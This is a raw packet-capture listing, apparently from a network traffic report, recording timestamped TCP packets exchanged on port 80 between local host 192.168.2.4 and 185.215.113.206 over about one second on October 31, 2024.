Oct 31, 2024 11:27:25.805438995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805445910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805459023 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805459023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805476904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805481911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805495977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805502892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805507898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805517912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805521965 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805548906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805572987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805943966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805957079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805969000 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805980921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.805988073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.805993080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806005001 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806008101 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806016922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806029081 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806037903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806041002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806054115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806058884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806070089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806078911 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806096077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806118965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806183100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806222916 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806346893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806360006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806371927 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806385994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806385994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806396961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806401968 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806411028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806421041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806422949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806449890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806463003 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806523085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806535959 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806549072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806560993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806561947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806575060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806583881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806587934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806595087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806607008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806611061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806622028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806637049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806660891 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806699991 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806771040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806783915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806797981 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806809902 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806813002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806826115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806827068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806843996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806852102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806864977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806865931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806874990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806895018 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806907892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806920052 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806932926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806946039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806957960 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806960106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806974888 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806974888 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.806989908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.806996107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807003021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807017088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807022095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807030916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807044983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807053089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807081938 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807092905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807106018 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807118893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807131052 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807132006 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807146072 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807163954 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807192087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807249069 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807261944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807272911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807279110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807284117 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807286978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807301998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807322025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807344913 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807346106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807382107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807615995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807630062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807640076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807655096 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.807662010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807684898 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.807708025 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.835443020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.835469961 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.835485935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.835726976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.835726976 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.882771015 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.882790089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.882802963 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.882819891 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.882924080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.888117075 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.912628889 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.912664890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.912676096 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.912688017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.912764072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.912801981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916186094 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916218042 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916230917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916243076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916280985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916282892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916294098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916312933 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916341066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916343927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916352034 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916366100 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916395903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916404963 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916418076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916429996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916471958 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916487932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916505098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916520119 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916531086 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916548967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916562080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916562080 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916580915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916589975 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916596889 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916606903 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916629076 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916635036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916641951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916677952 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916959047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916990995 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.916996956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.916999102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917038918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917052031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917081118 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917112112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917135954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917149067 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917161942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917171955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917188883 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917224884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917287111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917299032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917319059 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917326927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917336941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917346001 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917352915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917362928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917382002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917392015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917407990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917419910 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917432070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917444944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917459965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917493105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917546988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917560101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917571068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917583942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917596102 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917597055 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917613029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917679071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917691946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917711973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917726994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917767048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917779922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917792082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917804003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917823076 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917843103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917869091 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917871952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917912960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917913914 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917927980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917941093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917953014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917954922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917969942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917970896 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.917984962 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.917999983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918029070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918135881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918148994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918160915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918174028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918185949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918188095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918200970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918201923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918240070 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918271065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918288946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918301105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918315887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918332100 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918350935 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918373108 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918493986 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918504953 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918515921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918528080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918536901 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918540955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918555021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918565989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918576002 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918589115 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918596983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918598890 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918612957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918622971 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918627024 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918649912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918652058 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918662071 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918675900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918680906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918689966 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918701887 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918719053 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918734074 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918750048 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918751955 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918876886 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918889046 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918900967 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918915033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918921947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918927908 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918941021 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918952942 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.918953896 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918965101 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.918972015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919007063 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919029951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919040918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919050932 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919063091 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919075012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919079065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919092894 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919095993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919111013 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919125080 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919126987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919158936 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919168949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919172049 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919181108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919199944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919214964 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919228077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919250011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919329882 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919341087 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919353008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919367075 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919377089 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919382095 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919394970 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919406891 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919408083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919425011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919426918 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919439077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919450998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919461012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919466019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919490099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919506073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919521093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919533968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919574022 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919616938 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919627905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919639111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919651985 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919663906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919665098 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919682026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919693947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919723988 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919754982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919773102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919785023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919795990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919810057 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919823885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.919825077 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919847012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.919876099 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:25.920063019 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920075893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920097113 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:25.920109987 CET	80	49757	185.215.113.206	192.168.2.4
